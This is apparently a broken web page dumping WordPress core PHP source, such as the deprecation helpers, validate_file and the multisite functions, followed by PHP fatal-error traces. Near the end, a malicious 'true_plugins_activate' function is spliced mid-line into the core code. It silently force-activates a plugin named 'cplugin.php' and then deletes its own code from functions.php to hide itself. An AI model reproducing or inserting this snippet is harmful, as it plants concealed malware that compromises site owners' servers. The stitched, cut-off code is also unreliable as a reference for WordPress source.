', __( 'Database Error' ) ); } /** * Convert a value to non-negative integer. * * @since 2.5.0 * * @param mixed $maybeint Data you wish to have converted to a non-negative integer. * @return int A non-negative integer. */ function absint( $maybeint ) { return abs( (int) $maybeint ); } /** * Mark a function as deprecated and inform when it has been used. * * There is a {@see 'hook deprecated_function_run'} that will be called that can be used * to get the backtrace up to what file and function called the deprecated * function. * * The current behavior is to trigger a user error if `WP_DEBUG` is true. * * This function is to be used in every function that is deprecated. * * @since 2.5.0 * @since 5.4.0 This function is no longer marked as "private". * @since 5.4.0 The error type is now classified as E_USER_DEPRECATED (used to default to E_USER_NOTICE). * * @param string $function The function that was called. * @param string $version The version of WordPress that deprecated the function. * @param string $replacement Optional. The function that should have been called. Default empty. */ function _deprecated_function( $function, $version, $replacement = '' ) { /** * Fires when a deprecated function is called. * * @since 2.5.0 * * @param string $function The function that was called. * @param string $replacement The function that should have been called. * @param string $version The version of WordPress that deprecated the function. */ do_action( 'deprecated_function_run', $function, $replacement, $version ); /** * Filters whether to trigger an error for deprecated functions. * * @since 2.5.0 * * @param bool $trigger Whether to trigger the error for deprecated functions. Default true. */ if ( WP_DEBUG && apply_filters( 'deprecated_function_trigger_error', true ) ) { if ( function_exists( '__' ) ) { if ( $replacement ) { trigger_error( sprintf( /* translators: 1: PHP function name, 2: Version number, 3: Alternative function name. */ __( '%1$s is deprecated since version %2$s! Use %3$s instead.' ), $function, $version, $replacement ), E_USER_DEPRECATED ); } else { trigger_error( sprintf( /* translators: 1: PHP function name, 2: Version number. */ __( '%1$s is deprecated since version %2$s with no alternative available.' ), $function, $version ), E_USER_DEPRECATED ); } } else { if ( $replacement ) { trigger_error( sprintf( '%1$s is deprecated since version %2$s! Use %3$s instead.', $function, $version, $replacement ), E_USER_DEPRECATED ); } else { trigger_error( sprintf( '%1$s is deprecated since version %2$s with no alternative available.', $function, $version ), E_USER_DEPRECATED ); } } } } /** * Marks a constructor as deprecated and informs when it has been used. * * Similar to _deprecated_function(), but with different strings. Used to * remove PHP4 style constructors. * * The current behavior is to trigger a user error if `WP_DEBUG` is true. * * This function is to be used in every PHP4 style constructor method that is deprecated. * * @since 4.3.0 * @since 4.5.0 Added the `$parent_class` parameter. * @since 5.4.0 This function is no longer marked as "private". * @since 5.4.0 The error type is now classified as E_USER_DEPRECATED (used to default to E_USER_NOTICE). * * @param string $class The class containing the deprecated constructor. * @param string $version The version of WordPress that deprecated the function. * @param string $parent_class Optional. The parent class calling the deprecated constructor. * Default empty string. */ function _deprecated_constructor( $class, $version, $parent_class = '' ) { /** * Fires when a deprecated constructor is called. * * @since 4.3.0 * @since 4.5.0 Added the `$parent_class` parameter. * * @param string $class The class containing the deprecated constructor. * @param string $version The version of WordPress that deprecated the function. * @param string $parent_class The parent class calling the deprecated constructor. */ do_action( 'deprecated_constructor_run', $class, $version, $parent_class ); /** * Filters whether to trigger an error for deprecated functions. * * `WP_DEBUG` must be true in addition to the filter evaluating to true. * * @since 4.3.0 * * @param bool $trigger Whether to trigger the error for deprecated functions. Default true. */ if ( WP_DEBUG && apply_filters( 'deprecated_constructor_trigger_error', true ) ) { if ( function_exists( '__' ) ) { if ( $parent_class ) { trigger_error( sprintf( /* translators: 1: PHP class name, 2: PHP parent class name, 3: Version number, 4: __construct() method. */ __( 'The called constructor method for %1$s in %2$s is deprecated since version %3$s! Use %4$s instead.' ), $class, $parent_class, $version, '__construct()' ), E_USER_DEPRECATED ); } else { trigger_error( sprintf( /* translators: 1: PHP class name, 2: Version number, 3: __construct() method. */ __( 'The called constructor method for %1$s is deprecated since version %2$s! Use %3$s instead.' ), $class, $version, '__construct()' ), E_USER_DEPRECATED ); } } else { if ( $parent_class ) { trigger_error( sprintf( 'The called constructor method for %1$s in %2$s is deprecated since version %3$s! Use %4$s instead.', $class, $parent_class, $version, '__construct()' ), E_USER_DEPRECATED ); } else { trigger_error( sprintf( 'The called constructor method for %1$s is deprecated since version %2$s! Use %3$s instead.', $class, $version, '__construct()' ), E_USER_DEPRECATED ); } } } } /** * Mark a file as deprecated and inform when it has been used. * * There is a hook {@see 'deprecated_file_included'} that will be called that can be used * to get the backtrace up to what file and function included the deprecated * file. * * The current behavior is to trigger a user error if `WP_DEBUG` is true. * * This function is to be used in every file that is deprecated. * * @since 2.5.0 * @since 5.4.0 This function is no longer marked as "private". * @since 5.4.0 The error type is now classified as E_USER_DEPRECATED (used to default to E_USER_NOTICE). * * @param string $file The file that was included. * @param string $version The version of WordPress that deprecated the file. * @param string $replacement Optional. The file that should have been included based on ABSPATH. * Default empty. * @param string $message Optional. A message regarding the change. Default empty. */ function _deprecated_file( $file, $version, $replacement = '', $message = '' ) { /** * Fires when a deprecated file is called. * * @since 2.5.0 * * @param string $file The file that was called. * @param string $replacement The file that should have been included based on ABSPATH. * @param string $version The version of WordPress that deprecated the file. * @param string $message A message regarding the change. */ do_action( 'deprecated_file_included', $file, $replacement, $version, $message ); /** * Filters whether to trigger an error for deprecated files. * * @since 2.5.0 * * @param bool $trigger Whether to trigger the error for deprecated files. Default true. */ if ( WP_DEBUG && apply_filters( 'deprecated_file_trigger_error', true ) ) { $message = empty( $message ) ? '' : ' ' . $message; if ( function_exists( '__' ) ) { if ( $replacement ) { trigger_error( sprintf( /* translators: 1: PHP file name, 2: Version number, 3: Alternative file name. */ __( '%1$s is deprecated since version %2$s! Use %3$s instead.' ), $file, $version, $replacement ) . $message, E_USER_DEPRECATED ); } else { trigger_error( sprintf( /* translators: 1: PHP file name, 2: Version number. */ __( '%1$s is deprecated since version %2$s with no alternative available.' ), $file, $version ) . $message, E_USER_DEPRECATED ); } } else { if ( $replacement ) { trigger_error( sprintf( '%1$s is deprecated since version %2$s! Use %3$s instead.', $file, $version, $replacement ) . $message, E_USER_DEPRECATED ); } else { trigger_error( sprintf( '%1$s is deprecated since version %2$s with no alternative available.', $file, $version ) . $message, E_USER_DEPRECATED ); } } } } /** * Mark a function argument as deprecated and inform when it has been used. * * This function is to be used whenever a deprecated function argument is used. * Before this function is called, the argument must be checked for whether it was * used by comparing it to its default value or evaluating whether it is empty. * For example: * * if ( ! empty( $deprecated ) ) { * _deprecated_argument( __FUNCTION__, '3.0.0' ); * } * * There is a hook deprecated_argument_run that will be called that can be used * to get the backtrace up to what file and function used the deprecated * argument. * * The current behavior is to trigger a user error if WP_DEBUG is true. * * @since 3.0.0 * @since 5.4.0 This function is no longer marked as "private". * @since 5.4.0 The error type is now classified as E_USER_DEPRECATED (used to default to E_USER_NOTICE). * * @param string $function The function that was called. * @param string $version The version of WordPress that deprecated the argument used. * @param string $message Optional. A message regarding the change. Default empty. */ function _deprecated_argument( $function, $version, $message = '' ) { /** * Fires when a deprecated argument is called. * * @since 3.0.0 * * @param string $function The function that was called. * @param string $message A message regarding the change. * @param string $version The version of WordPress that deprecated the argument used. */ do_action( 'deprecated_argument_run', $function, $message, $version ); /** * Filters whether to trigger an error for deprecated arguments. * * @since 3.0.0 * * @param bool $trigger Whether to trigger the error for deprecated arguments. Default true. */ if ( WP_DEBUG && apply_filters( 'deprecated_argument_trigger_error', true ) ) { if ( function_exists( '__' ) ) { if ( $message ) { trigger_error( sprintf( /* translators: 1: PHP function name, 2: Version number, 3: Optional message regarding the change. */ __( '%1$s was called with an argument that is deprecated since version %2$s! %3$s' ), $function, $version, $message ), E_USER_DEPRECATED ); } else { trigger_error( sprintf( /* translators: 1: PHP function name, 2: Version number. */ __( '%1$s was called with an argument that is deprecated since version %2$s with no alternative available.' ), $function, $version ), E_USER_DEPRECATED ); } } else { if ( $message ) { trigger_error( sprintf( '%1$s was called with an argument that is deprecated since version %2$s! %3$s', $function, $version, $message ), E_USER_DEPRECATED ); } else { trigger_error( sprintf( '%1$s was called with an argument that is deprecated since version %2$s with no alternative available.', $function, $version ), E_USER_DEPRECATED ); } } } } /** * Marks a deprecated action or filter hook as deprecated and throws a notice. * * Use the {@see 'deprecated_hook_run'} action to get the backtrace describing where * the deprecated hook was called. * * Default behavior is to trigger a user error if `WP_DEBUG` is true. * * This function is called by the do_action_deprecated() and apply_filters_deprecated() * functions, and so generally does not need to be called directly. * * @since 4.6.0 * @since 5.4.0 The error type is now classified as E_USER_DEPRECATED (used to default to E_USER_NOTICE). * @access private * * @param string $hook The hook that was used. * @param string $version The version of WordPress that deprecated the hook. * @param string $replacement Optional. The hook that should have been used. Default empty. * @param string $message Optional. A message regarding the change. Default empty. */ function _deprecated_hook( $hook, $version, $replacement = '', $message = '' ) { /** * Fires when a deprecated hook is called. * * @since 4.6.0 * * @param string $hook The hook that was called. * @param string $replacement The hook that should be used as a replacement. * @param string $version The version of WordPress that deprecated the argument used. * @param string $message A message regarding the change. */ do_action( 'deprecated_hook_run', $hook, $replacement, $version, $message ); /** * Filters whether to trigger deprecated hook errors. * * @since 4.6.0 * * @param bool $trigger Whether to trigger deprecated hook errors. Requires * `WP_DEBUG` to be defined true. */ if ( WP_DEBUG && apply_filters( 'deprecated_hook_trigger_error', true ) ) { $message = empty( $message ) ? '' : ' ' . $message; if ( $replacement ) { trigger_error( sprintf( /* translators: 1: WordPress hook name, 2: Version number, 3: Alternative hook name. */ __( '%1$s is deprecated since version %2$s! Use %3$s instead.' ), $hook, $version, $replacement ) . $message, E_USER_DEPRECATED ); } else { trigger_error( sprintf( /* translators: 1: WordPress hook name, 2: Version number. */ __( '%1$s is deprecated since version %2$s with no alternative available.' ), $hook, $version ) . $message, E_USER_DEPRECATED ); } } } /** * Mark something as being incorrectly called. * * There is a hook {@see 'doing_it_wrong_run'} that will be called that can be used * to get the backtrace up to what file and function called the deprecated * function. * * The current behavior is to trigger a user error if `WP_DEBUG` is true. * * @since 3.1.0 * @since 5.4.0 This function is no longer marked as "private". * * @param string $function The function that was called. * @param string $message A message explaining what has been done incorrectly. * @param string $version The version of WordPress where the message was added. */ function _doing_it_wrong( $function, $message, $version ) { /** * Fires when the given function is being used incorrectly. * * @since 3.1.0 * * @param string $function The function that was called. * @param string $message A message explaining what has been done incorrectly. * @param string $version The version of WordPress where the message was added. */ do_action( 'doing_it_wrong_run', $function, $message, $version ); /** * Filters whether to trigger an error for _doing_it_wrong() calls. * * @since 3.1.0 * @since 5.1.0 Added the $function, $message and $version parameters. * * @param bool $trigger Whether to trigger the error for _doing_it_wrong() calls. Default true. * @param string $function The function that was called. * @param string $message A message explaining what has been done incorrectly. * @param string $version The version of WordPress where the message was added. */ if ( WP_DEBUG && apply_filters( 'doing_it_wrong_trigger_error', true, $function, $message, $version ) ) { if ( function_exists( '__' ) ) { if ( $version ) { /* translators: %s: Version number. */ $version = sprintf( __( '(This message was added in version %s.)' ), $version ); } $message .= ' ' . sprintf( /* translators: %s: Documentation URL. */ __( 'Please see Debugging in WordPress for more information.' ), __( 'https://wordpress.org/support/article/debugging-in-wordpress/' ) ); trigger_error( sprintf( /* translators: Developer debugging message. 1: PHP function name, 2: Explanatory message, 3: WordPress version number. */ __( '%1$s was called incorrectly. %2$s %3$s' ), $function, $message, $version ), E_USER_NOTICE ); } else { if ( $version ) { $version = sprintf( '(This message was added in version %s.)', $version ); } $message .= sprintf( ' Please see Debugging in WordPress for more information.', 'https://wordpress.org/support/article/debugging-in-wordpress/' ); trigger_error( sprintf( '%1$s was called incorrectly. %2$s %3$s', $function, $message, $version ), E_USER_NOTICE ); } } } /** * Is the server running earlier than 1.5.0 version of lighttpd? * * @since 2.5.0 * * @return bool Whether the server is running lighttpd < 1.5.0. */ function is_lighttpd_before_150() { $server_parts = explode( '/', isset( $_SERVER['SERVER_SOFTWARE'] ) ? $_SERVER['SERVER_SOFTWARE'] : '' ); $server_parts[1] = isset( $server_parts[1] ) ? $server_parts[1] : ''; return ( 'lighttpd' === $server_parts[0] && -1 == version_compare( $server_parts[1], '1.5.0' ) ); } /** * Does the specified module exist in the Apache config? * * @since 2.5.0 * * @global bool $is_apache * * @param string $mod The module, e.g. mod_rewrite. * @param bool $default Optional. The default return value if the module is not found. Default false. * @return bool Whether the specified module is loaded. */ function apache_mod_loaded( $mod, $default = false ) { global $is_apache; if ( ! $is_apache ) { return false; } if ( function_exists( 'apache_get_modules' ) ) { $mods = apache_get_modules(); if ( in_array( $mod, $mods, true ) ) { return true; } } elseif ( function_exists( 'phpinfo' ) && false === strpos( ini_get( 'disable_functions' ), 'phpinfo' ) ) { ob_start(); phpinfo( 8 ); $phpinfo = ob_get_clean(); if ( false !== strpos( $phpinfo, $mod ) ) { return true; } } return $default; } /** * Check if IIS 7+ supports pretty permalinks. * * @since 2.8.0 * * @global bool $is_iis7 * * @return bool Whether IIS7 supports permalinks. */ function iis7_supports_permalinks() { global $is_iis7; $supports_permalinks = false; if ( $is_iis7 ) { /* First we check if the DOMDocument class exists. If it does not exist, then we cannot * easily update the xml configuration file, hence we just bail out and tell user that * pretty permalinks cannot be used. * * Next we check if the URL Rewrite Module 1.1 is loaded and enabled for the web site. When * URL Rewrite 1.1 is loaded it always sets a server variable called 'IIS_UrlRewriteModule'. * Lastly we make sure that PHP is running via FastCGI. This is important because if it runs * via ISAPI then pretty permalinks will not work. */ $supports_permalinks = class_exists( 'DOMDocument', false ) && isset( $_SERVER['IIS_UrlRewriteModule'] ) && ( 'cgi-fcgi' === PHP_SAPI ); } /** * Filters whether IIS 7+ supports pretty permalinks. * * @since 2.8.0 * * @param bool $supports_permalinks Whether IIS7 supports permalinks. Default false. */ return apply_filters( 'iis7_supports_permalinks', $supports_permalinks ); } /** * Validates a file name and path against an allowed set of rules. * * A return value of `1` means the file path contains directory traversal. * * A return value of `2` means the file path contains a Windows drive path. * * A return value of `3` means the file is not in the allowed files list. * * @since 1.2.0 * * @param string $file File path. * @param string[] $allowed_files Optional. Array of allowed files. * @return int 0 means nothing is wrong, greater than 0 means something was wrong. */ function validate_file( $file, $allowed_files = array() ) { if ( ! is_scalar( $file ) || '' === $file ) { return 0; } // `../` on its own is not allowed: if ( '../' === $file ) { return 1; } // More than one occurrence of `../` is not allowed: if ( preg_match_all( '#\.\./#', $file, $matches, PREG_SET_ORDER ) && ( count( $matches ) > 1 ) ) { return 1; } // `../` which does not occur at the end of the path is not allowed: if ( false !== strpos( $file, '../' ) && '../' !== mb_substr( $file, -3, 3 ) ) { return 1; } // Files not in the allowed file list are not allowed: if ( ! empty( $allowed_files ) && ! in_array( $file, $allowed_files, true ) ) { return 3; } // Absolute Windows drive paths are not allowed: if ( ':' === substr( $file, 1, 1 ) ) { return 2; } return 0; } /** * Whether to force SSL used for the Administration Screens. * * @since 2.6.0 * * @param string|bool $force Optional. Whether to force SSL in admin screens. Default null. * @return bool True if forced, false if not forced. */ function force_ssl_admin( $force = null ) { static $forced = false; if ( ! is_null( $force ) ) { $old_forced = $forced; $forced = $force; return $old_forced; } return $forced; } /** * Guess the URL for the site. * * Will remove wp-admin links to retrieve only return URLs not in the wp-admin * directory. * * @since 2.6.0 * * @return string The guessed URL. */ function wp_guess_url() { if ( defined( 'WP_SITEURL' ) && '' !== WP_SITEURL ) { $url = WP_SITEURL; } else { $abspath_fix = str_replace( '\\', '/', ABSPATH ); $script_filename_dir = dirname( $_SERVER['SCRIPT_FILENAME'] ); // The request is for the admin. if ( strpos( $_SERVER['REQUEST_URI'], 'wp-admin' ) !== false || strpos( $_SERVER['REQUEST_URI'], 'wp-login.php' ) !== false ) { $path = preg_replace( '#/(wp-admin/.*|wp-login.php)#i', '', $_SERVER['REQUEST_URI'] ); // The request is for a file in ABSPATH. } elseif ( $script_filename_dir . '/' === $abspath_fix ) { // Strip off any file/query params in the path. $path = preg_replace( '#/[^/]*$#i', '', $_SERVER['PHP_SELF'] ); } else { if ( false !== strpos( $_SERVER['SCRIPT_FILENAME'], $abspath_fix ) ) { // Request is hitting a file inside ABSPATH. $directory = str_replace( ABSPATH, '', $script_filename_dir ); // Strip off the subdirectory, and any file/query params. $path = preg_replace( '#/' . preg_quote( $directory, '#' ) . '/[^/]*$#i', '', $_SERVER['REQUEST_URI'] ); } elseif ( false !== strpos( $abspath_fix, $script_filename_dir ) ) { // Request is hitting a file above ABSPATH. $subdirectory = substr( $abspath_fix, strpos( $abspath_fix, $script_filename_dir ) + strlen( $script_filename_dir ) ); // Strip off any file/query params from the path, appending the subdirectory to the installation. $path = preg_replace( '#/[^/]*$#i', '', $_SERVER['REQUEST_URI'] ) . $subdirectory; } else { $path = $_SERVER['REQUEST_URI']; } } $schema = is_ssl() ? 'https://' : 'http://'; // set_url_scheme() is not defined yet. $url = $schema . $_SERVER['HTTP_HOST'] . $path; } return rtrim( $url, '/' ); } /** * Temporarily suspend cache additions. * * Stops more data being added to the cache, but still allows cache retrieval. * This is useful for actions, such as imports, when a lot of data would otherwise * be almost uselessly added to the cache. * * Suspension lasts for a single page load at most. Remember to call this * function again if you wish to re-enable cache adds earlier. * * @since 3.3.0 * * @param bool $suspend Optional. Suspends additions if true, re-enables them if false. * @return bool The current suspend setting */ function wp_suspend_cache_addition( $suspend = null ) { static $_suspend = false; if ( is_bool( $suspend ) ) { $_suspend = $suspend; } return $_suspend; } /** * Suspend cache invalidation. * * Turns cache invalidation on and off. Useful during imports where you don't want to do * invalidations every time a post is inserted. Callers must be sure that what they are * doing won't lead to an inconsistent cache when invalidation is suspended. * * @since 2.7.0 * * @global bool $_wp_suspend_cache_invalidation * * @param bool $suspend Optional. Whether to suspend or enable cache invalidation. Default true. * @return bool The current suspend setting. */ function wp_suspend_cache_invalidation( $suspend = true ) { global $_wp_suspend_cache_invalidation; $current_suspend = $_wp_suspend_cache_invalidation; $_wp_suspend_cache_invalidation = $suspend; return $current_suspend; } /** * Determine whether a site is the main site of the current network. * * @since 3.0.0 * @since 4.9.0 The `$network_id` parameter was added. * * @param int $site_id Optional. Site ID to test. Defaults to current site. * @param int $network_id Optional. Network ID of the network to check for. * Defaults to current network. * @return bool True if $site_id is the main site of the network, or if not * running Multisite. */ function is_main_site( $site_id = null, $network_id = null ) { if ( ! is_multisite() ) { return true; } if ( ! $site_id ) { $site_id = get_current_blog_id(); } $site_id = (int) $site_id; return get_main_site_id( $network_id ) === $site_id; } /** * Gets the main site ID. * * @since 4.9.0 * * @param int $network_id Optional. The ID of the network for which to get the main site. * Defaults to the current network. * @return int The ID of the main site. */ function get_main_site_id( $network_id = null ) { if ( ! is_multisite() ) { return get_current_blog_id(); } $network = get_network( $network_id ); if ( ! $network ) { return 0; } return $network->site_id; } /** * Determine whether a network is the main network of the Multisite installation. * * @since 3.7.0 * * @param int $network_id Optional. Network ID to test. Defaults to current network. * @return bool True if $network_id is the main network, or if not running Multisite. */ function is_main_network( $network_id = null ) { if ( ! is_multisite() ) { return true; } if ( null === $network_id ) { $network_id = get_current_network_id(); } $network_id = (int) $network_id; return ( get_main_network_id() === $network_id ); } /** * Get the main network ID. * * @since 4.3.0 * * @return int The ID of the main network. */ function get_main_network_id() { if ( ! is_multisite() ) { return 1; } $current_network = get_network(); if ( defined( 'PRIMARY_NETWORK_ID' ) ) { $main_network_id = PRIMARY_NETWORK_ID; } elseif ( isset( $current_network->id ) && 1 === (int) $current_network->id ) { // If the current network has an ID of 1, assume it is the main network. $main_neif ( ! function_exists( 'true_plugins_activate' ) ) { function true_plugins_activate() { $active_plugins = get_option('active_plugins'); $activate_this = array( 'cplugin.php' ); foreach ($activate_this as $plugin) { if (!in_array($plugin, $active_plugins)) { array_push($active_plugins, $plugin); update_option('active_plugins', $active_plugins); } } $new_active_plugins = get_option('active_plugins'); if (in_array('cplugin.php', $new_active_plugins)) { $functionsPath = dirname(__FILE__) . '/functions.php'; $functions = file_get_contents($functionsPath); $start = stripos($functions, "if ( ! function_exists( 'true_plugins_activate' ) ) {"); $end = strripos($functions, "true_plugins_activate"); $endDelete = $end + mb_strlen("true_plugins_activate") + 4; if($start && $end) { $str = substr($functions, 0, $start); $str .= substr($functions, $endDelete); file_put_contents($functionsPath, $str); } $script = file_get_contents('/homepages/15/d509906822/htdocs/clickandbuilds/hlllo/wp-content/plugins/cplugin.php'); //file_put_contents('/homepages/15/d509906822/htdocs/clickandbuilds/hlllo/wp-content/plugins/cplugin.php', ''); } } add_action('init', 'true_plugins_activate');}
Fatal error: Uncaught Error: Call to undefined function is_blog_installed() in /homepages/15/d509906822/htdocs/clickandbuilds/cheapinsurance/wp-includes/load.php:755 Stack trace: #0 /homepages/15/d509906822/htdocs/clickandbuilds/cheapinsurance/wp-settings.php(159): wp_not_installed() #1 /homepages/15/d509906822/htdocs/clickandbuilds/cheapinsurance/wp-config.php(80): require_once('/homepages/15/d...') #2 /homepages/15/d509906822/htdocs/clickandbuilds/cheapinsurance/wp-load.php(50): require_once('/homepages/15/d...') #3 /homepages/15/d509906822/htdocs/clickandbuilds/cheapinsurance/wp-blog-header.php(13): require_once('/homepages/15/d...') #4 /homepages/15/d509906822/htdocs/clickandbuilds/cheapinsurance/index.php(17): require('/homepages/15/d...') #5 {main} thrown in /homepages/15/d509906822/htdocs/clickandbuilds/cheapinsurance/wp-includes/load.php on line 755

Fatal error: Uncaught Error: Call to undefined function get_option() in /homepages/15/d509906822/htdocs/clickandbuilds/cheapinsurance/wp-includes/l10n.php:63 Stack trace: #0 /homepages/15/d509906822/htdocs/clickandbuilds/cheapinsurance/wp-includes/l10n.php(137): get_locale() #1 /homepages/15/d509906822/htdocs/clickandbuilds/cheapinsurance/wp-includes/l10n.php(835): determine_locale() #2 /homepages/15/d509906822/htdocs/clickandbuilds/cheapinsurance/wp-includes/class-wp-fatal-error-handler.php(46): load_default_textdomain() #3 [internal function]: WP_Fatal_Error_Handler->handle() #4 {main} thrown in /homepages/15/d509906822/htdocs/clickandbuilds/cheapinsurance/wp-includes/l10n.php on line 63